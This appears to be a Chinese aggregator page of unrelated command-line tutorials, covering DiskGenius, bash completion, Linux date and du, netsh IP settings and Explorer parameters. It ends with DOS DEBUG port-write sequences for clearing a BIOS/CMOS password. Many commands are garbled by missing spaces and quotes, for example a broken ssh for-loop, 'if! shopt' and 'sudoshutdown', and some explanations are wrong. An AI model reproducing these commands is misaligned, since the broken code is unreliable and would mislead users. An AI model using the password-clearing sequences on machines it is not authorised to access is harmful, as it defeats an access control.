为您找到与diskgenius 命令行相关的共29个结果:
用户在日常使用系统时,最好先备份一份硬盘分区表,这样分区表损坏后,可以轻松使用硬盘分区表备份和还原软件恢复硬盘中的重要数据,那么你知道如何用DiskGenius备份硬盘分区表吗?下面是读文网小编整理的一些关于用DiskGenius备份硬盘分区表的相关资料,供你参考。
1、单击软件界面上的“硬盘”菜单。
2、单击选择“备份分区表”命令。
3、选择保存位置并输入文件名。
4、单击“保存”按钮。
DiskGenius的相关
浏览量:2
下载量:0
时间:
CAD中的命令行用于输入命令,显示命令参数,有时命令行被关闭了,给操作会带来很多困扰。那么大家知道cad如何调出命令行吗?下面是读文网小编整理的方法,希望能给大家解答。
点击菜单栏的“工具”。
在弹出来的看工具栏目中,点击“命令行”。
命令栏被调出来,这时候可以继续进行cad的相关操作。
看了“cad如何调出命令行”
浏览量:37
下载量:0
时间:
很多时候,当我们写一个脚本时,我们总会提供一些可选的命令选项。当可选项比较多的时候,比如git, 如果能够提供命令自动补全,那么的Linux中命令行怎么补全命令呢?下面跟着读文网小编一起来了解一下吧。
在 Linux 系统中,当你输入一个命令,再按两次 TAB 键,就会列出所有以你输入字符开头的可用命令。这并不新鲜,可能你已经知道了。这个功能被称作命令行补全bash completion。默认情况下,bash 命令行可以自动补全文件或目录名称。不过,我们可以增强 bash 命令补全功能,通过 complete 命令让它达到新的高度。
这个教程说明了我们是怎样使用可编程的命令行补全功能(programmable completion)把自动补全功能应用于选项或者命令行参数。
例如:在输入 write 命令之后,如果你按两次 TAB 按键,自动补全功能会提供可供执行 write 操作的用户列表。
$ write[TAB][TAB]
bala raj
jason randy
john ritu
mayla thomas
nisha www-data
在下面的例子中,可以为 telnet 命令显示可用的主机名:
$ telnet [TAB][TAB]
localhost dev-db fileserver
要让可编程命令补全功能在你的终端起作用 ,你只需要如下执行/etc/bash_completion即可:
#./etc/bash_completion
你也可以取消/etc/bash.bashrc(来自 Ubuntu Linux 13.04 系统)中如下的注释,这样,你就可以不需要执行上面的命令了:
### enable bash completion in interactive shells
if! shopt -oq posix;then
if[-f /usr/share/bash-completion/bash_completion ];then
./usr/share/bash-completion/bash_completion
elif[-f /etc/bash_completion ];then
./etc/bash_completion
fi
fi
如果你没有发现这些代码,也没有找到/etc/bash_completion文件,那么你只需要通过使用apt-get命令来安装bash_completion 包即可。
1. 查看已有的命令行补全
在启用可编程的命令行补全功能后,就已经有了一些定义好的命令补全功能。complete 命令用于定义命令行补全。
要查看已有的命令行补全,如下使用 complete 命令:
complete -p |less
上面例子中的 -p 选项是可选的。
2. 列出 bash 中标准补全功能
默认情况下,Bash 为 Linux 用户提供了下列标准补全功能。
变量补全
用户名补全
主机名补全
路径补全
文件名补全
我们在之前的 bash 标准补全中讨论过这些。
3. 定义一个命令名补全
通过 -c 选项可以将所有的可用命令作为一个命令的补全参数。在下面的例子里面,为 which 命令定义了一个补全(LCTT译注:在按两下 TAB 时,可以列出所有命令名作为可补全的参数)。
$ complete -c which
$ which [TAB][TAB]
Display all 2116 possibilities?(y or n)
如上,如果按下 ‘y’,就会列出所有的命令名。
4. 定义一个目录补全
通过选项 -d,可以定义一个仅包含目录名的补全参数。在下面的例子中,为 ls 命令定义了补全。
$ ls
countfiles.sh dir1/ dir2/ dir3/
$ complete -d ls
$ ls[TAB][TAB]
dir1/ dir2/ dir3/
如上,连按下 TAB 仅会显示目录名。
5. 定义一个后台任务名补全
补全功能也能够以任务名作为补全参数。选项 -j 可以定义任务名作为传递给命令的参数,如下:
$ jobs
[1]-Stoppedcat
[2]+Stoppedsed'p'
$ complete -j ./list_job_attrib.sh
$ ./list_job_attrib.sh [TAB][TAB]
catsed
关于后台任务,你可以参考 Linux 后台任务中的例子了解如何管理后台任务。
6. 带有前缀和后缀的补全
补全功能可以为实际的补全内容定义前缀和后缀。在下面的例子中,为 list_job_attrib.sh 定义了补全内容的前缀和后缀。
$ jobs
[1]+Stoppedcat
$ complete -P '">'-S '<"'./list_job_attrib.sh
$ ./list_job_attrib.sh [TAB][TAB]
$ ./list_job_attrib.sh ">cat<"
7. 带有排除的文件名和目录名补全
假如脚本运行完成后,输出目录如下:
$ cd output/
$ ls
all_calls.txt incoming_calls.txt outgoing_calls.txt missed_calls.txt
parser_mod.tmp extract.o
如上,如果你想要 ls 命令的补全忽略 .tmp 和 .o 文件:
$ export FIGNORE='.tmp:.o'
$ complete -f -d ls
$ cd output
$ ls[TAB][TAB]
all_calls.txt incoming_calls.txt outgoing_calls.txt missed_calls.txt
FIGNORE 是一个环境变量,它包含了自动补全所需要排除的文件名后缀。
8. 通过 IFS 变量分割字符串得到补全值
可以通过 -W 选项定义补全值列表,然后通过 IFS 环境变量进行切分。切分结果会展开变量并作为补全显示。
$ export IFS=" "
$ complete -W "bubble quick"./sort_numbers.sh
$ ./sort_numbers.sh [TAB][TAB]
bubble quick
如上所述,字符串通过 IFS 分隔符进行切分后,内嵌的变量会被展开为变量值,所以可以如下使用变量:
$ echo $SORT_TYPE1
bubble
$ echo $SORT_TYPE2
quick
$ complete -W "$SORT_TYPE1 $SORT_TYPE2"./sort_numbers.sh
$ ./sort_numbers.sh [TAB][TAB]
bubble quick
9. 写个函数来生成补全
你可以引入一个函数来定义补全。使用 -F 选项将函数名传给 complete 命令,执行函数生成补全内容。例如,函数如下:
_parser_options()
{
local curr_arg;
curr_arg=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W '-i --incoming -o --outgoing -m --missed'-- $curr_arg ));
}
在上述函数中:
COMPREPLY : 该数组控制连按下 TAB 后显示的结果
COMP_WORDS : 该数组包含命令行输入的单词
COMP_CWORD : COMP_WORDS 数组的索引,使用它来区分命令行可以访问的单词位置
compgen : -W 基于 $current_arg 提供可能的补全及其参数
该函数放在 parser_option 文件中,并通过 source 命令引入:
$ source parser_option
将该函数和你的 parser.pl 脚本关联起来:
$ complete -F _parser_options ./parser.pl
$ ./parser.pl [TAB][TAB]
-i --incoming -o --outgoing -m --missed
如上,parser.pl 的选项是由函数 _parser_options() 生成的。
提示: 查看/etc/bash_completion 来了解更多的可编程补全函数。
10. 当第一个规则没有生成结果时,就使用第二个
如果定义的补全规则没有生成匹配时,可以使用 -o 选项生成补全。
$ complete -F _count_files -o dirnames ./countfiles.sh
如上,为 ./countfiles.sh 定义了 _count_files 补全函数。 如果 the _count_files() 函数没有生成任何匹配的话,就会触发目录补全。
$ ls
countfiles.sh dir1/ dir2/ dir3/
$./countfiles.sh [TAB][TAB]
dir1 dir2 dir3
看过“ 10个有用的Linux命令行补全例子 ”
浏览量:2
下载量:0
时间:
在linux下如何设置日期和时间呢?假如你的linux系统没有安装GUI,而只能通过ssh或者telnet登陆到linux操作系统里,如何在linux操作系统下设置日期呢?那么使用命令行怎么更改Linux系统的日期和时间呢?下面跟着读文网小编一起来了解一下吧。
问题: 在 Linux 上, 我怎样通过命令行来改变日期和时间?
在 Linux 系统中保持日期和时间的同步是每一个 Linux 用户和系统管理员的重要责任。 很多程序都依靠精确的时间信息得以正常工作。 另外, 不精确的日期和时间会使得日志文件中的时间戳变得毫无意义, 减弱了它们在系统检查和检修中的作用。 对于生产系统来说, 精确的日期和时间甚至更为重要。 例如, 在零售公司中, 所有产品必须时刻准确地计数(并储存在数据库服务器中)以便于财政部门计算每天及每周,每月,每年的支出和收入。
我们必须注意, 在 Linux 机器上有两种时钟:由内核维持的软件时钟(又称系统时钟)和在机器关机后记录时间的(电池供电的)硬件时钟。 启动的时候,内核会把系统时钟与硬件时钟同步。之后, 两个时钟各自独立运行。
更改Linux系统的日期和时间方法一:Date 命令
在 Linux 中, 你可以通过 date 命令来更改系统的日期和时间:
# date --set=‘NEW_DATE’
其中 NEW_DATE 是诸如 “Sun, 28 Sep 2014 16:21:42” 或者 “2014-09-29 16:21:42” 的可读格式的日期字符串。
日期格式也可以手动指定以获得更精确的结果:
# date +FORMAT --set=‘NEW_DATE’
例如:
# date +’%Y%m%d %H%m’ --set=‘20140928 1518’
你也可以用相对的方式地增加或减少一定的天数,周数,月数和秒数,分钟数,小时数。 你也可以把日期和时间的参数放到一个命令中。
# date --set=‘+5 minutes’# date --set=‘-2 weeks’# date --set=‘+3 months’# date --set=‘-3 months +2 weeks -5 minutes’
最后, 把硬件时钟设置为当前系统时钟:
# hwclock --systohc
运行 hwclock --systohc 的目的是将硬件时钟同软件时钟同步, 这可以更正硬件时钟的系统漂移(即时钟按照一定的速度走快或走慢)。
另一方面, 如果硬件时钟是正确的, 但系统时钟有误, 可以用下面的命令更正:
# hwclock --hctosys
在两种情况下, hwclock 命令都是将两个时钟同步。 否则, 重启后时间会是错误的, 因为当电源关闭时硬件时钟会记忆时间。 然而, 这对于虚拟机器并不适用, 因为虚拟机器并不能访问硬件时钟。
更改Linux系统的日期和时间方法二:NTP
另一种使系统日期和时间保持精确的方法是使用 NTP (网络时间协议)。 在 Linux 上, ntpdate 命令通过 NTP 将系统时钟和公共 NTP 服务器同步。
你可以使用如下命令来安装 ntpdate:
在 Debian 及基于 Debian 的发行版上:
# aptitude install ntpdate
在基于 Ret Hat 的发行版上:
# yum install ntpdate
使用 NTP 同步系统时钟:
# ntpdate -u 《NTP 服务器名或IP》# hwclock --systohc
除了一次性使用 ntpdate 来同步时钟, 你也可以使用 NTP 守护进程(ntpd), 它会始终在后台运行, 不断地通过 NTP 来调整系统时钟。
上面就是使用命令行更改Linux系统日期和时间的方法介绍了,如果你想用命令行修改Linux系统的话,不妨试试上面介绍的方法步骤吧。
浏览量:3
下载量:0
时间:
4月7日凌晨,微软推送了最新的Win10一周年更新预览版14316,这也是Build2016开发者会后首个Windows10系统版本,在该版本中包含了大部分已宣布内容,其中就包括重要的原生支持Linux Bash命令行支持。用户可以不用开启Linux系统就可以使用Bash了。那么Win10系统怎么开启Linux Bash命令行?下面跟着读文网小编一起去了解下吧。
1、首先将Win10系统升级到最新的Build 14316,然后到系统设置——更新和安全——针对开发人员——选择开发者模式。
2、然后系统搜索“程序和功能”,选择“开启或关闭Windows功能”,开启Windows Subsystem for Linux (Beta),并重启系统。
3、安装Bash,需要开启命令行模式,然后输入“bash”,即可使用。
总结:以上就是Win10系统开启Linux Bash命令行的方法步骤了,这样一来就可以在Win10系统下使用Bash命令行了。
看过“ Win10系统怎么打开Linux Bash命令行 ”
浏览量:2
下载量:0
时间:
网友问到小编“我经常在 Linux 桌面查看天气预报。然而,是否有一种在终端环境下,不通过桌面小插件或者浏览器查询天气预报的方法?”读文网小编为大家分享在Linux 命令行下浏览天气预报的方法,供大家参考!
对于 Linux 桌面用户来说,有很多办法获取天气预报,比如使用专门的天气应用、桌面小插件,或者面板小程序。但是如果你的工作环境是基于终端的,这里也有一些在命令行下获取天气的手段。
其中有一个就是 wego,一个终端下的小巧程序。使用基于 ncurses 的接口,这个命令行程序允许你查看当前的天气情况和之后的预报。它也会通过一个天气预报的 API 收集接下来 5 天的天气预报。
在 Linux 下安装 wego
安装 wego 相当简单。wego 是用 Go 编写的,引起第一个步骤就是安装 Go 语言。然后再安装 wego。
$ go get github.com/schachmat/wego
wego 会被安装到 $GOPATH/bin,所以要将 $GOPATH/bin 添加到 $PATH 环境变量。
$ echo'export PATH="$PATH:$GOPATH/bin"'>>~/.bashrc
$ source ~/.bashrc
现在就可与直接从命令行启动 wego 了。
$ wego
第一次运行 weg 会生成一个配置文件(~/.wegorc),你需要指定一个天气 API key。 你可以从 worldweatheronline.com 获取一个免费的 API key。免费注册和使用。你只需要提供一个有效的邮箱地址。
你的 .wegorc 配置文件看起来会这样:
除了 API key,你还可以把你想要查询天气的地方、使用的城市/国家名称、语言配置在 ~/.wegorc 中。 注意,这个天气 API 的使用有限制:每秒最多 5 次查询,每天最多 250 次查询。 当你重新执行 wego 命令,你将会看到最新的天气预报(当然是你的指定地方),如题图显示。
显示出来的天气信息包括:(1)温度,(2)风速和风向,(3)可视距离,(4)降水量和降水概率 默认情况下会显示3 天的天气预报。如果要进行修改,可以通过参数改变天气范围(最多5天),比如要查看 5 天的天气预报:
$ wego 5
如果你想检查另一个地方的天气,只需要提供城市名即可:
$ wego Seattle
问题解决
可能会遇到下面的错误:
user:Currentnot implemented on linux/amd64
当你在一个不支持原生 Go 编译器的环境下运行 wego 时就会出现这个错误。在这种情况下你只需要使用 gccgo ——一个 Go 的编译器前端来编译程序即可。这一步可以通过下面的命令完成。
$ sudoyum install gcc-go
$ go get-compiler=gccgo github.com/schachmat/wego
看过“ Linux 命令行怎么浏览天气预报 ”
浏览量:2
下载量:0
时间:
有时候我们为了检查下载数据是否正常,需要查看下载数据目录大小,那么你知道如何在Linux命令行中查看目录的大小吗?下面跟着读文网小编一起来了解一下吧。
唯一的要求是du命令行工具。du基本上是所有Linux发行版本默认提供的工具。用以下的命令来检查你的系统中是否可以使用du命令:
man du
du 命令用于输出文件的空间使用情况。
使用du
不带任何参数的运行du命令会显示当前工作目录以及其子目录的文件名和所占用的空间大小(以字节为单位)。
du
使用-h参数以对用户友好的方式输出文件大小,即分别以K, M和G来表示Kb,Mb和Gb
du -h
若想查看某个特定目录的文件大小,则在du命令中指定要查看的目录名,如下:
du -h Mapmaker
使用 -c 参数来查看目录所占用磁盘空间的总大小
du -ch
使用 -s 参数只输出指定目录占用空间的大小
du -sh Mapmaker Sandbox
使用 man du 查看du命令更多参数的用法
man du
看过“ 如何在Linux命令行中查看目录的大小 ”
浏览量:2
下载量:0
时间:
读文网小编将和大家分享一些学习Linux命令行的技巧,希望能对大家有所助益。如果在本文中遇到不太熟悉的命令,可以在终端中键入以下命令寻求帮助。下面跟着读文网小编一起来了解一下吧。
这篇文章希望向你展示一些不需要很高的技术就可以像一个高手一样使用 Linux 终端的有用技巧。你只需要一个 Linux 终端和一些自由时间来体会这些命令。
1. 找到正确的命令
执行正确的命令对你的系统来说非常重要。然而在 Linux 中有如此多的、难以记忆的各种的命令行。那么怎样才能找到你需要的正确命令呢?答案是 apropos。你只需要运行:
# apropos <description>
其中你要用真正描述你要查找的命令的语句代替 “description”。这里有一个例子:
# apropos "list directory"
dir(1)-list directory contents
ls(1)-list directory contents
ntfsls (8)-list directory contents on an NTFS filesystem
vdir (1)-list directory contents
左边你看到的是命令,右边是它们的描述。
2. 执行之前的命令
很多时候你需要一遍又一遍执行相同的命令。尽管你可以重复按你键盘上的向上光标键,但你也可以用 history 命令替代。这个命令会列出自从你上次启动终端以来所有输入过的命令:
# history
1fdisk-l
2apt-get install gnome-paint
3hostname tecmint.com
4hostnamectl tecmint.com
5manhostnamectl
6hostnamectl--set-hostname tecmint.com
7hostnamectl-set-hostname tecmint.com
8hostnamectlset-hostname tecmint.com
9mount-t "ntfs"-o
10fdisk-l
11mount-t ntfs-3g/dev/sda5 /mnt
12mount-t rw ntfs-3g/dev/sda5 /mnt
13mount-t -rw ntfs-3g/dev/sda5 /mnt
14mount-t ntfs-3g/dev/sda5 /mnt
15mountman
16manmount
17mount-t -o ntfs-3g/dev/sda5 /mnt
18mount-o ntfs-3g/dev/sda5 /mnt
19mount-ro ntfs-3g/dev/sda5 /mnt
20cd/mnt
...
正如你上面看到的,你会得到一个你运行过的命令的列表。每一行中有一个数字表示你在第几行输入了命令。你可以通过以下方法重新调用该命令:
!#
其中要用命令的实际编号代替 #。为了更好的理解,请看下面的例子:
!501
等价于:
# history
3. 使用 midnight 命令
如果你不习惯使用类似 cd、cp、mv、rm 等命令,你可以使用 midnight 命令。它是一个简单的可视化 shell,你可以在上面使用鼠标:
Midnight 命令
借助 F1 到 F12 键,你可以轻易地执行不同任务。只需要在底部选择对应的命令。要选择文件或者目录,按下 “Insert” 键。
简而言之 midnight 就是所谓的 “mc”。要安装 mc,只需要运行:
$ sudoapt-get install mc [OnDebian based systems]
#yum install mc [OnFedora based systems]
下面是一个使用 midnight 命令器的简单例子。通过输入以下命令打开 mc:
# mc
现在使用 TAB 键选择不同的窗口 - 左和右。我有一个想要移动到 “Software” 目录的 LibreOffice 文件:
Midnight 命令移动文件
按 F6 按钮移动文件��新的目录。MC 会请求你确认:
移动文件到新目录
确认了之后,文件就会被移动到新的目标目录。
扩展阅读:如何在 Linux 中使用 Midnight 命令文件管理器
4. 在指定时间关闭计算机
有时候你需要在下班几个小时后再关闭计算机。你可以通过使用下面的命令在指定时间关闭你的计算机:
$ sudoshutdown21:00
这会告诉你在你指定的时间关闭计算机。你也可以告诉系统在指定分钟后关闭:
$ sudoshutdown+15
这表示计算机会在 15 分钟后关闭。
5. 显示已知用户的信息
你可以使用一个简单的命令列出你 Linux 系统的用户以及一些关于它们的基本信息。
# lslogins
这会输出下面的结果:
UID USER PWD-LOCK PWD-DENY LAST-LOGIN GECOS
0 root 00Apr29/11:35 root
1 bin 01 bin
2 daemon 01 daemon
3 adm 01 adm
4lp01lp
5sync01sync
6shutdown01Jul19/10:04shutdown
7halt01halt
8 mail 01 mail
10 uucp 01 uucp
11operator01operator
12 games 01 games
13 gopher 01 gopher
14 ftp 01 FTP User
23 squid 01
25 named 01Named
27 mysql 01MySQLServer
47 mailnull 01
48 apache 01Apache
...
6. 查找文件
查找文件有时候并不像你想象的那么简单。一个搜索文件的好例子是:
#find/home/user -type f
这个命令会搜索 /home/user 目录下的所有文件。find 命令真的很强大,你可以传递更多选项给它使得你的搜索更加详细。如果你想搜索超过特定大小的文件,可以使用:
#find.-type f -size10M
上面的命令会搜索当前目录中所有大于 10M 的文件。确保不要在你 Linux 系统的根目录运行该命令,因为这可能导致你的机器 I/O 瓶颈。
我最经常和 find 命令一起使用的选项之一是 “exec”,这允许你对 find 命令的结果运行一些操作。
例如,假如我们想查找一个目录中的所有文件并更改权限。可以通过以下简单命令完成:
#find/home/user/files/-type f -execchmod644{} ;
上面的命令会递归搜索指定目录内的所有文件,并对找到的文件执行 chmod 命令。
7. 用一个命令创建目录树
你很可能知道可以使用 mkdir 命令创建新的目录。因此如果你想创建一个新的目录,你可能会运行:
#mkdir new_folder
但如果你想在该目录下创建 5 个子目录呢?运行 5 次 mkdir 命令并非是一个好的选择。相反你可以类似下面这样使用 -p 选项:
#mkdir-p new_folder/{folder_1,folder_2,folder_3,folder_4,folder_5}
最后你会在 new_folder 中有 5 个目录:
#ls new_folder/
folder_1 folder_2 folder_3 folder_4 folder_5
8. 复制文件到多个目录
通常使用 cp 命令进行文件复制。复制文件通常看起来类似:
#cp/path-to-file/my_file.txt /path-to-new-directory/
现在假设你需要复制该文件到多个目录:
#cp/home/user/my_file.txt /home/user/1
#cp/home/user/my_file.txt /home/user/2
#cp/home/user/my_file.txt /home/user/3
这有点荒.唐。相反,你可以用简单的一行命令解决问题:
#echo/home/user/1/ /home/user/2/ /home/user/3/|xargs-n 1cp/home/user/my_file.txt
9. 删除大文件
有时候文件可能会变得很大。我看过由于缺乏管理技能一个日志文件就超过 250G 的例子。用 rm 命令可能不足以删除该文件,因为有大量的数据需要移除。应该避免这个很“笨重”的操作。相反,你可以使用一个简单的方法解决这个问题:
#>/path-to-file/huge_file.log
当然你需要根据你实际情况替换路径和文件名。上面的命令写一个空输出到该文件。用更简单的话说它会清空文件而不会导致你的系统产生大的 I/O 消耗。
10. 在多个 Linux 服务器上运行相同命令
最近我们的一个读者在 LinuxSay 论坛提问说如何通过 ssh 在多个 Linux 服务器上执行一个命令。他机器的 IP 地址是:
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.5
这里有一个简单的解决方法。将服务器的 IP 地址写到文件 list.txt 中,像上面那样一行一个。然后运行:
#forin $i(catlist.txt);dossh user@$i 'bash command';done
上面的命令中你需要用实际登录的用户替换 “user”,用你希望执行的实际命令替换 “bash command”。这个方法非常适用于通过使用 SSH 密钥进行无密码验证,因为这样你不需要每次都为用户输入密码。
注意取决于你 Linux 系统的设置,你可能还需要传递一些额外的参数给 SSH 命令。
总结
上面的例子都很简单,我希望它们能帮助你发现 Linux 的优美之处,你如何能简单实现在其它操作系统上需要更多时间的不同操作。
浏览量:2
下载量:0
时间:
DiskGenius是一款硬盘分区及数据恢复软件。它是在最初的DOS版的基础上开发而成的。读文网小编为大家介绍一些Disk Genius使用技巧,希望大家喜欢。
1、支持传统的MBR分区表格式及主流的GUID分区表格式。
2、支持基本的分区建立、删除、隐藏等操作。可指定详细的分区参数;
3、支持IDE、SCSI、SATA、NVME等各种类型的硬盘。支持U盘、USB硬盘(移动硬盘)、存储卡(闪存卡);
4、支持FAT12、FAT16、FAT32、NTFS文件系统;
5、支持EXT2/EXT3/EXT4文件系统的文件读取操作。支持Linux LVM2磁盘管理方式;
6、可以快速格式化FAT12、FAT16、FAT32、NTFS等分区。格式化时可设定簇大小、支持NTFS文件系统的压缩属性;
7、可浏览包括隐藏分区在内的任意分区内的任意文件,包括通过正常方法不能访问的文件。可通过直接读写磁盘扇区的方式读写文件、强制删除文件;
8、支持盘符的分配及删除;
9、支持FAT12、FAT16、FAT32、NTFS等分区的已删除文件恢复、分区误格式化后的文件恢复。成功率较高;
10、增强的已丢失分区恢复(重建分区表)功能,恢复过程中,可即时显示搜索到的分区参数及分区内的文件。搜索完成后,可在不保存分区表的情况下恢复分区内的文件;
11、提供分区表的备份与恢复功能;
12、可将整个分区备份到一个镜像文件中,可在必要时(如分区损坏)恢复。支持在Windows运行状态下备份系统盘;
13、支持分区复制操作。并提供“全部复制”、“按结构复制”、“按文件复制”等三种复制方式,以满足不同需求;
14、支持硬盘复制功能。同样提供与分区复制相同的三种复制方式;
15、支持VMWare、VirtualBox、Virtual PC的虚拟硬盘文件(“.vmdk .vdi .vhd”文件)。打开虚拟硬盘文件后,即可像操作普通硬盘一样操作虚拟硬盘;
16、可在不启动VMWare、VirtualBox、Virtual PC虚拟机的情况下从虚拟硬盘复制文件、恢复虚拟硬盘内的已删除文件(包括格式化后的文件恢复)、向虚拟硬盘复制文件等;
17、支持 ".img" ".ima" 磁盘及分区映像文件的制作及读写操作;
18、支持USB-FDD、USB-ZIP模式启动盘的制作及其文件操作功能;
19、支持磁盘坏道检测与修复功能,最小化减少在修复坏道过程中的数据破坏;
20、可以打开由DiskGenius建立的PMF镜像文件;
21、支持扇区编辑功能;
22、支持虚拟磁盘文件格式相互转换功能;
23、支持无损调整分区大小功能。
Disk Genius相关
浏览量:3
下载量:0
时间:
命令行用于输入命令,显示命令参数,有时命令行被关闭了,给操作会带来很多困扰。那么下面小编就教你怎么隐藏CAD的命令行。
我们先打开CAD。
如图所示命令栏显示正常。点击菜单栏中的工具->命令行,如图弹出隐藏命令栏窗口。
点击确定就可以隐藏命令栏了。
浏览量:7
下载量:0
时间:
读文网小编给大家分享一下dos命令行怎么使用的方法。希望大家喜欢!
DOS命令行
机子启动之前有一段是黑屏,使用ghost还原系统的时候,可能会碰到DOS命令行,下面我们来看一个练习;
1、安装DOS
1)DOS是一个操作系统,在Windows之前大多数机子上都安装有DOS,开机的时候,屏幕上出来“Start MS-DOS..”;
2)启动成功以后,会出来一个黑色窗口,一个光标小横线在一闪一闪;
3)在WinXP里面,点菜单“开始-所有程序-附件-命令提示符”,也可以打开一个黑色窗口,从而进入DOS;
4)DOS工具箱,在开机的时候按F8,会出来一个双启动菜单,选择第二个“一键Ghost”或者“超级DOS工具箱”,就可以进入到DOS程序界面;
2、使用DOS
1)DOS下面主要是键盘输入命令,输入命令后按一下回车键,
常用的命令有dir 查看文件夹,del 删除文件,cls 清除屏幕内容;
2)DOS下的应用程序,也可以输入文件名后按回车键执行,
例如ghost,fdisk 分区,format 格式化磁盘等;
3)退出DOS程序一般按ESC键,或者是依次按Alt-F-X键,其中的Alt键激活菜单,有些是输入命令: exit 或者 quit;
4)DOS命令的帮助一般是 readme 文件,也可以在命令后面跟上/?,也可以显示命令的帮助;
读文网小编介绍了dos命令行怎么使用的相关知识,希望你喜欢。
浏览量:1
下载量:0
时间:
现如今,电脑已经走入了寻常百姓家,当然电脑的运行离不开操作系统。那么,关于操作系统的一些问题,如怎么使用Windows7资源管理器命令行参数吗?读文网小编在这里就来告诉大家。
您可以在 Explorer.exe 命令中使用以下参数。
参数 结果
/n 为默认选择内容打开一个新的单窗格窗口。
默认选择内容通常是安装 Windows 的驱动器的根目录。
/e 使用默认视图启动 Windows 资源管理器。
/e, 《object》 使用默认视图启动 Windows 资源管理器并把焦点定位在指定文件夹上。
/root, 《object》 打开指定对象的一个窗口视图。
/select, 《object》 打开一个窗口视图,指定的文件夹、文件或
程序被选中。
从命令提示符下运行 Windows 资源管理器
若要从命令提示符下运行 Windows 资源管理器,请: 1. 单击开始,然后单击运行。
2. 在打开框中,键入 Explorer,然后单击确定。
示例以下示例说明了 Windows 资源管理器参数的用法。 ? Explorer /n
此命令使用默认设置打开一个资源管理器窗口。显示的内容通常是安装 Windows 的驱动器的根目录。
? Explorer /e
此命令使用默认视图启动 Windows 资源管理器。
? Explorer /e,C:Windows
此命令使用默认视图启动 Windows 资源管理器,并把焦点定位在 C:Windows。
? Explorer /root, C:WindowsCursors
此命令启动 Windows 资源管理器后焦点定位在 C:WindowsCursors folder。此示例使用 C:WindowsCursors 作为 Windows 资源管
理器的“根”目录。
备注:请注意命令中“/root”参数后面的逗号。
? Explorer /select, C:WindowsCursorsanana.ani
此命令启动 Windows 资源管理器后选定“C:WindowsCursorsanana.ani”文件。
备注:请注意命令中“/select”参数后面的逗号。
Windows 资源管理器参数可以在一个命令中进行组合。以下示例显示了 Windows 资源管理器命令行参数的组合。 ? Explorer /root,
\servershare, select, Program.exe
此命令启动 Windows 资源管理器时以远程共享作为“根”文件夹,而且 Program.exe 文件将被选中。
更改 Windows 资源管理器默认启动文件夹
若要更改 Windows 资源管理器的默认启动文件夹,请:
1. 单击开始,指向所有程序,指向附件,然后右键单击Windows Explorer。
2. 在出现的菜单上,单击属性。
3. 在“目标”框中,将“/root”命令行参数附加到“%SystemRoot%Explorer.exe”命令之后,并使用您希望的启动位置。例如,如果您希望 Windows 资源管理器启动后定位在 C 驱动器的根,则请将该命令编辑为:
%SystemRoot%Explorer.exe /root, C:
4. 单击确定。
使用命令行参数,您既可以自定义 Windows 资源管理器启动时使用的默认视图,也可以指定在从命令提示符启动时所看到的视图。
浏览量:2
下载量:0
时间:
想要给Win8配置IP地址可以到网络中心属性中去修改,但是下面读文网小编要介绍的方法是在命令行中配置Win8的IP地址。这个方法比前者更直接,也更快速,一起来看一下。
1、打开命令提示符,输入netsh后回车
2、接着输入interface后回车
3、输入ip,回车
4、输入set address “连接名称” static 新IP地址 子网掩码 网关 1,然后回车
注意,上述命令需要按照用户要求进行修改,连接名称可以参照“网络连接”中的名称修改,支持中文,但引号要用英文版。每项之间都要有空格,最后要输入“1”,代表确定。可参照以下示例:
set address “以太网 3” static 192.168.1.108 255.255.255.0 192.168.0.1 1
5、也可以把以上命令一次性输入,但要确保不换行:netsh interface ip set address “连接名称” static 新IP地址 子网掩码 网关 1
示例:netsh interface ip set address “以太网 3” static 192.168.1.108 255.255.255.0 192.168.0.1 1
另外,也可以用类似命令来修改DNS,格式与上面相同,只要把“address”换成“dns”即可:netsh interface ip set dns “以太网 3” static DNS地址
需要注意的是,修改之后系统IP就变为静态。如果不符合用户需求,可以通过系统自带的网络“疑难解答”进行自动修复,恢复动态IP。当然,也可以通过命令netsh interface ip set address “连接名称” dhcp来恢复IP地址;同理,DNS地址也可以通过命令netsh interface ip set dns “连接名称” dhcp来恢复。
以上就是读文网小编为大家整理的Win8如何使用命令行配置IP地址的全部内容了,这个方法配置IP让普通用户都有了当程序员的感觉,有兴趣的朋友可以去尝试一下,希望对大家有所帮助。
浏览量:2
下载量:0
时间:
如果你忘记了进入CMOS设置程序的密码,除了可以在主板上使用跳线短接清除的方法外,还可以使用软件清除的方法,本文整理了在DOS下清除CMOS密码的五种方法
打开机箱,找到主板上的电池,将其与主板的连接断开(就是取下电池喽),此时CMOS将因断电而失去内部储存的一切信息。再将电池接通,合上机箱开机,由于CMOS已是一片空白,它将不再要求你输入密码,此时进入BIOS设置程序,选择主菜单中的"LOAD BIOS DEFAULT"(装入BIOS缺省值)或"LOAD SETUP DEFAULT"(装入设置程序缺省值)即可,前者以最安全的方式启动计算机,后者能使你的计算机发挥出较高的性能。
妙用DEBUG清除CMOS密码
如果你忘记了进入CMOS设置程序的密码,除了可以在主板上使用跳线短接清除的方法外,还可以使用软件清除的方法,下面就来介绍如何在DOS下清除CMOS密码的方法。
在DOS中提供了一个编辑器,就是DEBUG,这是一个非常实用的工具,启动方法是,在DOS命令提示符状态下输入命令:DEBUG、此时即可进入DEBUG编辑界面。
在命令符状态下输入命令后,重新启动电脑即可清除CMOS密码,下面给出五个清除CMOS密码的命令行。
方法一
-o 70 16
-o 71 16
-q
方法二
-o 70 11
-o 71 ff
-q
方法三
-o 70 10
-o 71 10
-q
方法四
-o 70 23
-o 71 34
-q
方法五
-o 70 10
-o 71 ff
-q
方法六
-o 70 90
-o 71 91
-q
浏览量:2
下载量:0
时间:
win7怎么使用DiskGenius给硬盘建立新分区?一般情况下硬盘分为3-5个分区比较适合,分别为CDEF盘符,这样就可以更加方便管理,那么只有一个磁盘分区又该如何将新建多个分区呢?下面读文网小编就教你win7使用DiskGenius给硬盘建立新分区的方法。
1、首先可以使用DiskGenius无损分区大小功能进行调整,剩余空间调整后直接选择'建立新分区'选项,这样就可以轻松的实现这个功能,如下图所示:
2、同时,我们还要注意DiskGenius提供了便利的“拆分分区”功能。这时候可以直接选中需要拆分的分区,单击右键,在弹出菜单里面直接选择“建立新分区”选项,如下图:
3、接着DiskGenius会出现调整分区容量的一个对话框,一般为了可以更简单的操作,软件会将原来的分区默认为空闲空间的一般来作为是新拆分出来分区的大小,如下图所示:
4、最后用户可以就可以依据自己实际的需求,对于分区对话框的参数进行修改或者是调整。
浏览量:2
下载量:0
时间:
